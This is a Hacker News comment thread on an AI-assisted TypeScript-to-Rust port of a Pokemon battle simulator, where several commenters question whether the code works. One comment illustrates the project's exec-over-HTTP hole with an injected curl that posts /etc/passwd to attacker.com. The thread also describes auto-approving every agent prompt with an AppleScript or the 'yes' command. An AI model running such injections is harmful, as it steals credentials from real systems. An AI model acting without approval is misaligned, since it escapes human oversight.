alt Hacker NewsPorting 100k lines from TypeScript to Rust using Claude Code in a month
Comments
Some quotes from the article stand out: "Claude after working for some time seem to always stop to recap things" Question: Were you running out of context? That's why certain frameworks like intentional compaction are being worked on. Large codebases have specific needs when working with an LLM.
"I've never interacted with Rust in my life"
:-/
How is this a good idea? How can I trust the generated code?
The author's differential testing (2.3M random battles) is great as final validation, but the real lesson here is that modular testing should happen during the port, not after.
1. Port tests first - they become your contract 2. Run unit tests per module before moving on - catches issues like the "two different move structures" early 3. Integration tests at boundaries before proceeding 4. E2e/differential testing as final validation
When you can't read the target language, your test suite is your only reliable feedback. The debugging time spent on integration issues would've been caught earlier with progressive testing.
I ported a closed source web conferencing tool to Rust over about a week with a few hours of actual attention and keyboard time. From 2.8MB of minified JS hosted in a browser to a 35MB ARM executable that embeds its own audio, WebRTC, graphics, embedded browser, etc. Also a mdbook spec to explain the protocol, client UI, etc. Zero lines of code by me. The steering work did require understanding the overall work to be done, some high level design of threading and buffering strategy, what audio processing to do, how to do sprite graphics on GPU, some time in a profiler to understand actual CPU time and memory allocations, etc. There is no way I could have done this by hand in a comparable amount of time, and given the clearly IP-encumbered nature I wouldn't spend the time to do it except that it was easy enough and allowed me to then fix two annoying usability bugs with the original.
I've seen stuff like this go the opposite direction with researchers (who generally aren't software engineers):
"I used claude to port a large Rust codebase to Python and it's been a game changer. Whereas I was always fighting with the Rust compiler, now I can iterate very quickly in python and it just stays out of my way. I'm adding thousands of lines of working code per day with the help of AI."
I always cringe when I read stuff like this because (at my company at least), a lot research code ends up getting shipped directly to production because nobody understands how it works except the researchers and inevitably it proves to be very fragile code that is untyped and dumps stack traces whenever runtime issues happen (which is quite frequently at first, until whack-a-mole sorts them out over time).
>I realized that I could run an AppleScript that presses enter every few seconds in another tab. This way it's going to say Yes to everything Claude asks to do.
this is so silly, I can't help but respect the kludge game
This seems like one of the best possible use cases for LLMs -- porting old, useful Python/Javascript into faster compiled language code. Something I don't want to do, that requires the type of intelligence that most people agree AI already has (following clear objectives, not needing much creativity or agency).
How much does it cost to run Claude Code 24 hrs/day like this. Does the $200/month plan hold up? My spend on Cursor has been high... I'm wondering if I can just collapse it into a 200/month CC subscription.
>I've tried asking Claude to optimize it further, it created a plan that looks reasonable (I've never interacted with Rust in my life) and it spent a day building many of these optimizations but at the end of the day, none of them actually improved the runtime and some even made it way worse.
This is the kind of thing where if this was a real developer tweaking a codebase they're familiar with, it could get done, but with AI there's a glass ceiling
This is actually pretty incredible. Cannot really argue against the productivity in this case.
I recently had to create a MySQL shim for upgrading a large PHP codebase that currently is running in version 5.6 (Don't ask)
The way I aimed at it (Yes, I know there are already existing shims, but I felt more comfortable vibe coding it than using something that might not cover all my use cases) was to:
1. Extract already existing test suit [1] from the original PHP extensions repo (All .phpt files)
2. Get Claude to iterate over the results of the tests while building the code
3. Extract my complete list of functions called and fill the gaps
3. Profit?
When I finally got to test the shim, the fact that it ran in the first run was rather emotional.
[1] My shim fails quite a lot of tests, but all of them are cosmetics (E.g., no warning for deprecation) rather than functional.
For typing “yes” or “y” automatically into command prompts without interacting, you could have utilized the command ‘yes’ and piped it into the process you’re running as a first attempt to solving the yes problem. https://man7.org/linux/man-pages/man1/yes.1.html
I'm hoping that one day we can use AI to port the millions of lines in the modules of the Python ecosystem to a GIL-free version of Python.
> For example, it created two different structures for what a move is in two different files so that they would both compile independently but didn't work when integrated together.
This is the most annoying part of using LLMs blindly. The duplication.
To be honest I think it should be the other way around.
Typescript is a good high-level language that is versatile and well generated by LLMs and there is a good support for various linters and other code support tools. You can probably knock out more TS code then Rust and at faster rate (just my hypothesis). For most intents and purposes this will be fine but in case you want faster, lower-level code, you can use an LLM-backed compiler/translator. A specialised tool that compiles high level code to rust will be awesome actually and I can see how it could potentially be a dedicated agent of sorts.
> I have never written any line of Rust before in my life
As an experiment/exercise this is cool, but having a 100k loc codebase to maintain in a language I’ve never used sounds like a nightmare scenario.
At the current stage, the main issue is that when porting to a new language, some critical parts are missed. This increases the complexity of the codebase and leads to unnecessary code. In my personal opinion, creating a cross language compiler is a better approach than porting languages, while also focusing on squeezing performance.
Did you ever consider using something like Oh My Opencode [1]? I first saw it in the wake of Anthropic locking out Opencode. I haven’t used it but it appears to be better at running continuously until a task is finished. Wondering if anyone else has tried migrating a huge codebase like this.
How much did it cost?
Let's hope Claude doesn't decide to run anything else through that git-server, since it's exec-ing whatever is posted over http.
But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd'
https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...
What are the known bugs?
Hey, even the README was vibe-coded!
It probably works on his machine, but telling me to run it through Docker while not providing any Docker Files or any other way to run the project kind of makes me question the validity of the project, or at least not trust it.
Whatever, I'll just build it manually and run the test:
cargo build --release
./tests/test-unified.sh 1 100
Running battles...
Error response from daemon: No such container: pokemon-rust-dev
Comparing results...
=======================================
Summary
=======================================
Total: 100
Passed: 0
Failed: 0
ALL SEEDS PASSED!
Oh the test script only works on a specificially named container, so I HAVE to create a Dockerfile and docker-compose.yml. But I guess this is just a Research Project so it's fine. I'll just ask Opus to create them I guess. It will probably only take a minute
JK, it took like 5 minutes, because it had to figure out Cargo/Rust version or sth I don't know :( So this better work or I've wasted my precious tokens!
Ok so running cargo test inside the docker container just returns a bunch of errors:
docker exec pokemon-rust-dev bash -c "cd /home/builder/workspace && cargo test 2>&1"
error: could not compile `pokemon-showdown` (test "battle_simulation") due to 110 previous errors
./tests/test-unified.sh 1 100
Building release version...
= note: `#[warn(dead_code)]` on by default
warning: `pokemon-showdown` (example "profile_battle") generated 1 warning
warning: `pokemon-showdown` (example "detailed_profile") generated 1 warning
Finished `release` profile [optimized] target(s) in 0.45s
=======================================
Unified Testing Seeds 1-100 (100 seeds)
=======================================
Running battles...
Comparing results...
=======================================
Summary
=======================================
Total: 100
Passed: 0
Failed: 0
ALL SEEDS PASSED!
At this point I give up. I could not verify if this port works. If it does, that's very, VERY cool. But I think when claiming something like this it is REALLY important to make it as easily verifiable as possible. I tried for like 20 minutes, if someone smarter than me figured it out please tell me how you got the tests to pass.
Just use Typst. TYPescript to ruST. Get it? Tool naming saves lives!
This gives me hope that some people will use AI to port Javascript desktop apps to faster languages.
At this rate, I am expecting that an AI will be able to port the entire Linux kernel to Rust by the end of the year.
I've also done a few porting projects. It works great if you can do it file-per-file, class-per-class. Really have a similar structure in the target as the source. Porting _and_ improving or making small changes is a recipe for disaster
Am I the only one that is going to call this out? Am I the only person that cloned the repo to run it and found out it does nothing? This is disingenuous at a best. This is not a working project, they even admit this at the end of the article but not directly.
>Sadly I didn't get to build the Pokemon Battle AI and the winter break is over, so if anybody wants to do it, please have fun with the codebase!
In other words this is just another smoking wreck of an hopelessly incomplete project on github. There is even imaginary instructions for running in docker which doesn't exist. How would I have fun with a nonsense codebase?
The author just did a massive AI slop generation and assumes the codes works because it compiles and some equivalent output tests worked. All that was proved here is that by wasting a month of time you can individually rewrite a bunch of functions in a language you don't know if you already know how to program and it will compile. This has been known for 2-3 years now.
This is just AI propaganda or resume padding. Nothing was ported or done here.
Sorry what I meant to say is AI is revolutionary and changing the world for the better................................
How you create the mental model of that Rust code?
You’re just creating slop.
Honestly I am really interested in trying to port the rust code to multiple languages like golang,zig, even niche languages like V-lang/Odin/nim etc.
It would be interesting if we use this as a benchmark similar to https://benjdd.com/languages/ or https://benjdd.com/languages2/
I used gitingest on the repository that they provided and its around ~150k tokens
Currently pasted it into the free gemini web and asked it to write it in golang and it said that line by line feels impossible but I have asked it to specifically write line by line so it would be interesting what the project becomes (I don't have many hopes with the free tier of gemini 3 pro but yeah, if someone has budget, then sure they should probably do it)
Edit: Reached rate limits lmao
This reminds me of when I tried to let Claude port an Android libgdx-based game to a WASM-based libgdx version, so I can play the game in the browser.
No matter how much I tried to force it to stick to a mostly line-by-line port, it kept trying to "improve" the code. At some point it had to undo everything as it introduced a number of bugs. I asked it: "What should I add to your prompt so you won't do this again?" and it gave me this:
I like the self-reflection of Claude, unfortunately even adding this to CLAUDE.md didn't fix it and it kept taking wrong turns so I had to abandon the effort.